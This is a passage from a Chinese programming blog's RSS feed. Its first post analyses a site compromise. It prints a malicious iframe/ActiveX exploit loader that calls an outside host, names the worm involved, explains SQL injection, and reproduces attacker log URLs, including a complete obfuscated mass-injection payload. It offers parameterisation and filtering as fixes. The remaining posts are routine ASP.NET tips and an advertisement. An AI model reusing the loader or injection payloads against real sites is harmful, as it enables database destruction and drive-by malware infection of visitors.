document.writeln("var start = cookieString.indexOf(\"woshi0day=\");");<br />
document.writeln("if (start != -1)");<br />
document.writeln("{}");<br />
document.writeln("else");<br />
document.writeln("{");<br />
document.writeln("var expires = new Date();");<br />
document.writeln("expires.setTime(expires.getTime() + 24 * 60 * 60 * 1000);");<br />
document.writeln("document.cookie = \"woshi0day=0000;expires=\" + expires.toGMTString();");<br />
document.writeln("document.write(\"&lt;iframe src=\/\/ii.jtren.net\/cc\/p139.htm?18 width=10 height=0&gt;&lt;\/iframe&gt;\");");<br />
document.writeln("}&lt;\/SCRIPT&gt;");<br />
document.writeln("&lt;script language=\"javascript\" src=\"http:\/\/count49.51yes.com\/click.aspx?id=493330621&amp;logo=1\"&gt;&lt;\/script&gt;");<br />
<br />
<br />
在上面代码里可以看到使用了iframe，iframe指向的地址为&nbsp; <a href="http://jj.jtren.net/cc/p139.htm">http://jj.jtren.net/cc/p139.htm</a> 用记事本打开看看内容吧<br />
<p><font face="Verdana">&lt;script language="javaScript"&gt;<br />
&nbsp;var cook = "silentwm";<br />
&nbsp;<br />
&nbsp;function setCookie(name, value, expire) <br />
&nbsp;{&nbsp;&nbsp; <br />
&nbsp;&nbsp;window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));<br />
&nbsp;}</font></p>
<p><font face="Verdana">&nbsp;function getCookie(Name) <br />
&nbsp;{&nbsp;&nbsp; <br />
&nbsp;&nbsp;var search = Name + "=";<br />
&nbsp;&nbsp;if (window.document.cookie.length &gt; 0) <br />
&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;&nbsp;offset = window.document.cookie.indexOf(search);<br />
&nbsp;&nbsp;&nbsp;if (offset != -1) <br />
&nbsp;&nbsp;&nbsp;{ <br />
&nbsp;&nbsp;&nbsp;&nbsp;offset += search.length;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; end = window.document.cookie.indexOf(";", offset)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp; if (end == -1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end = window.document.cookie.length;<br />
&nbsp;&nbsp;&nbsp;&nbsp; return unescape(window.document.cookie.substring(offset, end));<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp; }<br />
&nbsp;&nbsp; return null;<br />
&nbsp;}</font></p>
<p><font face="Verdana">&nbsp;function register(name) <br />
&nbsp;{<br />
&nbsp;&nbsp;var today = new Date();<br />
&nbsp;&nbsp;var expires = new Date();<br />
&nbsp;&nbsp;expires.setTime(today.getTime() + 1000*60*60*24);<br />
&nbsp;&nbsp;setCookie(cook, name, expires);<br />
&nbsp;}</font></p>
<p><font face="Verdana">&nbsp;function openWM() <br />
&nbsp;{<br />
&nbsp;&nbsp;var c = getCookie(cook);<br />
&nbsp;&nbsp;if (c != null) <br />
&nbsp;&nbsp;{<br />
&nbsp;&nbsp; &nbsp;return;<br />
&nbsp;&nbsp;}<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;register(cook);<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;window.defaultStatus="完成";<br />
&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;try{ var e;<br />
&nbsp;&nbsp;&nbsp;var ado=(document.createElement("object"));<br />
&nbsp;&nbsp;&nbsp;ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");<br />
&nbsp;&nbsp;&nbsp;var as=ado.createobject("Adodb.Stream","")}<br />
&nbsp;&nbsp;catch(e){};<br />
&nbsp;&nbsp;finally{<br />
&nbsp;&nbsp;&nbsp;if(e!="[object Error]"){<br />
&nbsp;&nbsp;&nbsp;&nbsp;document.write("&lt;iframe width=50 height=0 src=http://ii.jtren.net/14.htm&gt;&lt;/iframe&gt;")}<br />
&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;{&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;try{ var j;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}<br />
&nbsp;&nbsp;&nbsp;&nbsp;catch(j){};<br />
&nbsp;&nbsp;&nbsp;&nbsp;finally{if(j!="[object Error]"){<strong style="color: red">if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")&lt;="6.0.14.552")</strong><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {document.write('&lt;iframe width=100 height=0 src=http://ii.jtren.net/real.htm&gt;&lt;/iframe&gt;')}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write('&lt;iframe width=100 height=0 src=http://ii.jtren.net/real11.htm&gt;&lt;/iframe&gt;')}}}</font></p>
<p><font face="Verdana">&nbsp;&nbsp;&nbsp;&nbsp;try{ var g;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var glworld=new ActiveXObject("GLAVATAR.GLAvatarCtrl.1");}<br />
&nbsp;&nbsp;&nbsp;&nbsp;catch(g){};<br />
&nbsp;&nbsp;&nbsp;&nbsp;finally{if(g!="[object Error]"){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write('&lt;iframe style=display:none src=http://ii.jtren.net/lz.htm&gt;&lt;/iframe&gt;')}}</font></p>
<p><font face="Verdana">&nbsp;&nbsp;&nbsp;&nbsp;try{ var h;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var storm=new ActiveXObject("MPS.StormPlayer.1");}<br />
&nbsp;&nbsp;&nbsp;&nbsp;catch(h){};<br />
&nbsp;&nbsp;&nbsp;&nbsp;finally{if(h!="[object Error]"){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write('&lt;iframe style=display:none src=http://ii.jtren.net/bfyy.htm&gt;&lt;/iframe&gt;')}}</font></p>
<p><font face="Verdana">&nbsp;&nbsp;&nbsp;&nbsp;try{ var f;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;var thunder=new ActiveXObject("DPClient.Vod");}<br />
&nbsp;&nbsp;&nbsp;&nbsp;catch(f){};<br />
&nbsp;&nbsp;&nbsp;&nbsp;finally{ if(f!="[object Error]"){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;document.write('&lt;iframe width=50 height=0 src=xl.htm&gt;&lt;/iframe&gt;')}}</font></p>
<p><font face="Verdana">&nbsp;&nbsp;&nbsp;}}<br />
&nbsp;}</font></p>
<p><font face="Verdana">openWM();<br />
&lt;/script&gt;<br />
&lt;script language="javascript" type="text/javascript" src="http://js.users.51.la/1862269.js"&gt;&lt;/script&gt;<br />
通过代码可以看到，这里使用了<font face="Verdana">这是一个RealPlayer（IERPCtl.IERPCtl.1）漏洞，属于蠕虫病毒变异种&nbsp; 目前有Worm.Win32.Otwycal.a&nbsp; Worm.Win32.Otwycal.b&nbsp; Worm.Win32.Otwycal.c 3类变种 <br />
一但感染了这个病毒,电脑里面所有扩展名为*.EXE的所以程序都会被这个病毒破坏,中毒现象:运行程序提示程序错误 <br />
</font><br />
<br />
<strong><u>2.原因</u></strong><br />
<br />
&nbsp;上面说的是用户打开你的网站时，你的电脑可能中毒病毒，相信很多站长自己是不愿意放病毒代码的，出现这个原因是网站漏洞，具体的说是该病毒攻击者利用SQL技术，进行注入，下面是SQL注入的简单介绍<br />
下面是一个典型的aspx页面显示的信息<br />
http://www.19cn.com/showdetail.asp?id=49<br />
<br />
但是攻击者可以进行注入，事实上上面代码很容易猜测出你的页面执行的SQL语句，例如可能为<br />
string id=Request.QueryString["id"];<br />
string sql="select * from table where id="+id;<br />
<br />
但是上面的代码及其脆弱，例如访问者把你的地址改成<br />
<a href="http://www.19cn.com/showdetail.asp?id=49"><strong>http://www.19cn.com/showdetail.asp?id=49</strong></a><strong>&nbsp;and 1=1</strong><br />
页面执行正常。<br />
<br />
<a href="http://www.19cn.com/showdetail.asp?id=49"><strong>http://www.19cn.com/showdetail.asp?id=49</strong></a><strong> and 1=2</strong><br />
则页面执行错误，如果你的网站显示错误信息，攻击者很容易看到错误原因。<br />
<br />
更为严重的是，攻击者可以编写更多了SQL语句，例如<br />
<a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> ;delete&nbsp;from table<br />
那么你代码里最终拼凑的SQL为<br />
string sql="select * from table where id=49 ;delete from table<br />
在SQL里分号是语句指向的结束，上面的SQL语句将直接删除table里的所有数据。<br />
<br />
<strong><u>解决方法</u></strong><br />
我们建议你使用存储过程，因为存储过程会进行类别判断，例如上面代码写成存储过程是，类似如下<br />
SqlParameter p=new SqlParameter("id",Int32);<br />
在这里，当用户再次输入<br />
<a href="http://www.19cn.com/showdetail.asp?id=49">http://www.19cn.com/showdetail.asp?id=49</a> ;delete&nbsp;from table<br />
<br />
网址时，由于系统将对代码进行转换（即吧id为 49;delete from table）转化为int类型，此时转换失败，所以可以防止别人攻击，而且不影响访问。<br />
对于整形，你也可以使用如下简单代码<br />
try<br />
{<br />
int.Parse(Request.QueryString["id"]);<br />
}<br />
catch<br />
{<br />
Response.End();<br />
<br />
}<br />
在这里，当检查id值非法时，直接中止页面运行也是可以很好解决的。<br />
<br />
<br />
<br />
上面介绍的是对int类型的解决，相对于int类型，字符串要复杂的很多，例如在搜索时，可能的URL为<br />
<a href="http://www.19cn.com/search.aspx?key=asp.net">http://www.19cn.com/search.aspx?key=asp.net<br />
</a>那么你的sql语句可能为<br />
string key=Request.QueryString["key"];<br />
string sql="select * from table where keyword like '"+key+"'";<br />
在这里如果攻击你的URL为<br />
<a href="http://www.19cn.com/search.aspx?key=asp.net'">http://www.19cn.com/search.aspx?key=asp.net'</a>&nbsp;; delete from&nbsp;table--<br />
那么构造出来的SQL语句就为<br />
<strong>select * from table where keywork like 'asp.net'; delete from table --'</strong><br />
请注意，--的作用，它会让最后的'字符失效，所有上面代码仍然会删除你的数据<br />
这里常用的解决方法大字有如下几个：<br />
1）过滤SQL常用的语句，例如<br />
string key=Request.QueryString["key"];<br />
key=key.Lower();<br />
key=key.Replace("select","");<br />
key=key.Replace("update","");<br />
key=key.Replace("delete","");<br />
这样把select/update/delete等命令过滤掉，另外需要注意这个代码<br />
key=key.Lower();<br />
<br />
也就是把请求的代码都转换为小写，因为攻击者可能故意把select 写成 SeleCT等，那样可能过滤不掉<br />
<br />
2)过滤&nbsp;&#8220;&#8217;， --&#8221;符号等<br />
3）使用存储过程，这样即使SQL包含注入，到存储过程里也失效，这也是为什么建议大家使用存储过曾的原因&nbsp;<br />
<span style="color: red"><br />
<strong>下面是你网站收到公交时，攻击者的访问代码</strong></span><br />
<br />
<font face="Verdana"><a href="http://www.19cn.com/showdetail.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR">http://www.19cn.com/<font color="#000000">showdetail</font>.aspx?id=19;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312533312533382533382532452537372537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR</a>;-- <br />
<br />
<font face="Verdana"><a href="http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1">http://www.19cn.com/<font color="#000000">showdetail</font>.aspx?id=19</font>%20And%20Cast(IS_MEMBER(0x640062005F006F0077006E0065007200)%20as%20varchar(1))%2Bchar(124)=1</a> 218.3.207.119 - 500 0 209 281<br />
<br />
<font face="Verdana"><a href="http://www.19cn.com/showdetail.aspx?id=19%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1">http://www.19cn.com/<font color="#000000">showdetail</font>.aspx?id=19</font>%20And%20Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00)%20as%20varchar(1))%2Bchar(124)=1</a> 218.3.207.119 - 500 0 216 281<br />
</font>你可以反编码就可以知道攻击者是如何攻击你的，例如 上面的 20%代表空格等<br />
</font></p>
</font></font>
 <img src ="http://www.cnblogs.com/mqingqing123/aggbug/1191052.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42131/" target="_blank">[新闻]祝Google 10周岁生日快乐</a>]]></description></item><item><title>上海酒吧</title><link>http://www.cnblogs.com/mqingqing123/archive/2008/03/28/1126794.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Thu, 27 Mar 2008 22:39:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2008/03/28/1126794.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1126794.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2008/03/28/1126794.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1126794.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1126794.html</trackback:ping><description><![CDATA[上海酒吧-提供上海酒吧 我们是专业的上海酒吧网站,致力于上海酒吧服务,为上海酒吧网中之精英,为泡吧迷提供酒吧资讯,等酒吧类服务. [音乐分享] Steve Angello mix.. [热力厂牌] The Payback Proje.. [音乐盛典] BESTIVAL [电音推介] UNKLE的战斗纪事 <br />
http://www.021pub.net<br />
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/1126794.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42130/" target="_blank">[新闻]Google十年市值达1500亿美元 创造奇迹</a>]]></description></item><item><title>禁用Viewstate在使用母版的内容页面里使用Datalist可能不触发事件的解决方案</title><link>http://www.cnblogs.com/mqingqing123/archive/2007/12/24/1012992.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Mon, 24 Dec 2007 09:30:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2007/12/24/1012992.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1012992.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2007/12/24/1012992.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1012992.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1012992.html</trackback:ping><description><![CDATA[最近做一个网站，为了提高性能，所以在web.config里适用了如下代码：<br />
<font face="Courier New">&nbsp;&lt;pages enableEventValidation="false" validateRequest="false" theme="021friend" enableViewState="false" enableViewStateMac="false"/&gt;<br />
有一个DataList控件，在它的模板里放置了两个按钮<br />
<br />
<font face="Courier New">
<p><br />
&lt;asp:DataList ID="DataList1"&nbsp; DataSourceID="SqlDataSource1" RepeatColumns=4 runat="server" DataKeyField="pic_id"&nbsp; <strong>onitemcommand="DataList1_ItemCommand"</strong> width="162px"&gt;&lt;ItemTemplate&gt;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;</p>
<p><br />
&lt;asp:Button CausesValidation="false"&nbsp; runat=Server ID="delete" Text="删除照片" CommandName="delete"&nbsp; BorderStyle=solid BorderColor=#336699 BorderWidth=1px/&gt;<br />
&lt;asp:Button&nbsp; CausesValidation="false"&nbsp; runat=Server ID="setup" Text="set" CommandName="setup"&nbsp; BorderStyle=solid BorderColor=#336699 BorderWidth=1px/&gt;</p>
<p>&nbsp;<br />
&nbsp;<br />
&lt;/div&gt;<br />
&nbsp;&lt;hr /&gt;<br />
&lt;/ItemTemplate&gt;<br />
&lt;/asp:DataList&gt;<br />
</font></p>
&nbsp;DataList1的数据源在后台实现<br />
<br />
<p><font face="Courier New">protected void Page_Load(object sender, EventArgs e)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;&nbsp;&nbsp; if (!Page.IsPostBack)<br />
</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
<font face="Courier New">...<br />
DataList1.DataSource = ds.Tables[0];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DataList1.DataBind();<br />
</font></font></p>
<p><font face="Courier New">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;<strong> }</strong></font></p>
<p><font face="Courier New">但是在执行过程中，通过设置断点，DataList1_ItemCommand根本不会执行，解决这个问题有2个方法：<br />
1）启用viewstate，但是这里在page指令里适用viewstate=true并不可以，因为你适用了母版，如果没有母版就可以的，所以你需要在web.config设置启用viewstate<br />
2）适用SqlDataSource控件，也就是在SqlDataSource里绑定DataLists<br />
</font>&nbsp;</p>
<br />
<br />
<br />
&nbsp;</font>
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/1012992.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42129/" target="_blank">[新闻]GMail:回过头来支持IE6</a>]]></description></item><item><title>将IP地址转换为地方名称</title><link>http://www.cnblogs.com/mqingqing123/archive/2007/12/20/1007264.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Thu, 20 Dec 2007 06:41:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2007/12/20/1007264.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1007264.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2007/12/20/1007264.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1007264.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1007264.html</trackback:ping><description><![CDATA[<p><font face="Courier New">下面这段代码将IP地址转换为地方名称，例如你的IP地址为 &#8220;58.24.25.65&#8221; 则显示为 &#8220;上海徐汇区&#8221;<br />
当然转换过程中，需要有数据库，也就是这里适用的数据库是动网论坛最新版本DVBBS8.1提供的数据库，你可以到dvbbs下载那个论坛，然后在data目录下找到<br />
ipaddress数据库文件，其中ip1和ip2对应ip地址的范围</font></p>
<br />
这里介绍如何转换，它使用的是IP地址是10进制的，简单说一下IP原理，（以下均为假设）例如<a href="http://www.sohu.com">www.sohu.com</a> 对应的IP地址为 <br />
12.24.10.45<br />
首先将IP转换为二进制<br />
0000 1000 . 0001 1000 . 0000 1010 .&nbsp; 0010 1101<br />
然后转换为十六进制<br />
0B. 18. 0A.2C<br />
然后去掉小数点<br />
0b180a2c<br />
然后转换为十进制就可以了，代码如下 <br />
<font face="Courier New"><br />
<p><font face="Courier New">&lt;%@ Page Language="C#" %&gt;<br />
&lt;%@ Import&nbsp; Namespace="System.Data.OleDb"%&gt;<br />
&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</font></p>
<p><font face="Courier New">&lt;script runat="server"&gt;</font></p>
<p><font face="Courier New">&nbsp;&nbsp;&nbsp; protected void Page_Load(object sender, EventArgs e)<br />
&nbsp;&nbsp;&nbsp; {</font></p>
<font face="Courier New">
<p><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string Ip =Request.UserHostAddress;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string[] Ip_List = Ip.Split(".".ToCharArray());<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string X_Ip = "";<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; foreach (string ip in Ip_List)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string tmp = Convert.ToInt16(ip).ToString("x");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; X_Ip += tmp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; long num = long.Parse(X_Ip, System.Globalization.NumberStyles.HexNumber);</p>
<p><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string aConnStr = "Provider = Microsoft.Jet.OLEDB.4.0;Data Source=" + Server.MapPath("ipaddress.mdb");<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Data.OleDb.OleDbConnection con = new System.Data.OleDb.OleDbConnection(aConnStr);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; System.Data.OleDb.OleDbCommand cmd = new OleDbCommand();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmd.Connection = con;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; con.Open();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cmd.CommandText = "select top 1 country,city from dv_address where ip1 &lt;=" + num + " and ip2 &gt;=" + num;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; string result = cmd.ExecuteScalar().ToString();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; con.Close();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Response.Write(result);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp; <br />
&lt;/script&gt;</p>
<p>&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;<br />
&lt;head runat="server"&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;title&gt;Untitled Page&lt;/title&gt;<br />
&lt;/head&gt;<br />
&lt;body&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;form id="form1" runat="server"&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;div&gt;<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; &lt;/div&gt;<br />
&nbsp;&nbsp;&nbsp; &lt;/form&gt;<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
</font></p>
<br />
<br />
有了127.0.0.1对应但是2130706433 ，所以你ping 127.0.0.1和ping 2130706433 效果是一样的<br />
可能有人说为什么不直接转换，因为直接转换需要取位，很麻烦<br />
测试结果：<br />
首先准备一个IP。例如在控制台里输入cmd，然后跟中一个网站，例如<br />
&nbsp;tracert&nbsp;<a href="http://www.cnblogs.com">http://www.cnblogs.com</a><br />
可以得到它的IP为&nbsp; <font face="Courier New">219.232.228.156</font><br />
然后你可以到 <font face="Courier New"><a href="http://www.ip138.com/">http://www.ip138.com/</a></font> 查询其对应的地址<br />
然后在适用上面程序进行验证是否正确。<br />
在适用上面代码时，请注意下载需要数据库。（可以到动网论坛里下载 www.dvbbs.net）<br />
</font>
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/1007264.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42128/" target="_blank">[新闻]Google十年大变样</a>]]></description></item><item><title>将数据库二进制文件读出并保存到磁盘上</title><link>http://www.cnblogs.com/mqingqing123/archive/2007/11/12/956352.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Mon, 12 Nov 2007 01:12:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2007/11/12/956352.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/956352.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2007/11/12/956352.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/956352.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/956352.html</trackback:ping><description><![CDATA[<p><font face="Courier New">//主要适用FileStream类，如下<br />
private void WriteToFile(string strPath, ref byte[] Buffer)<br />
{<br />
&nbsp;&nbsp;&nbsp; // Create a file<br />
&nbsp;&nbsp;&nbsp; FileStream newFile = new FileStream(strPath, FileMode.Create);</font></p>
<p><font face="Courier New">&nbsp;&nbsp;&nbsp;&nbsp; // Write data to the file<br />
&nbsp;&nbsp;&nbsp; newFile.Write(Buffer, 0, Buffer.Length);</font></p>
<p><font face="Courier New">&nbsp;&nbsp;&nbsp; // Close file<br />
&nbsp;&nbsp;&nbsp; newFile.Close();<br />
}<br />
<br />
<br />
当然，如果是适用file控件，可以添加如下代码<br />
<font face="Courier New">&nbsp;fl_upload.PostedFile</font></font></p>
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/956352.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42127/" target="_blank">[新闻]谷歌十年创新路</a>]]></description></item><item><title>关于DataReader的缓存</title><link>http://www.cnblogs.com/mqingqing123/archive/2007/11/11/955714.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Sun, 11 Nov 2007 00:16:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2007/11/11/955714.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/955714.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2007/11/11/955714.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/955714.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/955714.html</trackback:ping><description><![CDATA[<p>DataReader可以缓存数据，但是DataReader不能够直接缓存，例如<br />
<br />
SqlDataReader instance = Cache["key"] as SqlDataReader ;<br />
if (instance == null) <br />
{ instance = BllMethodToGetInstance();<br />
&nbsp; Cache.Insert(key, instance, ...); }<br />
return instance;<br />
类似这样的代码是不行的，因为DataReader需要一直占用数据库连接，一个常用方法是将数据库数据读取出来然后存放在ArrayList类等里，然后缓存类<br />
</p>
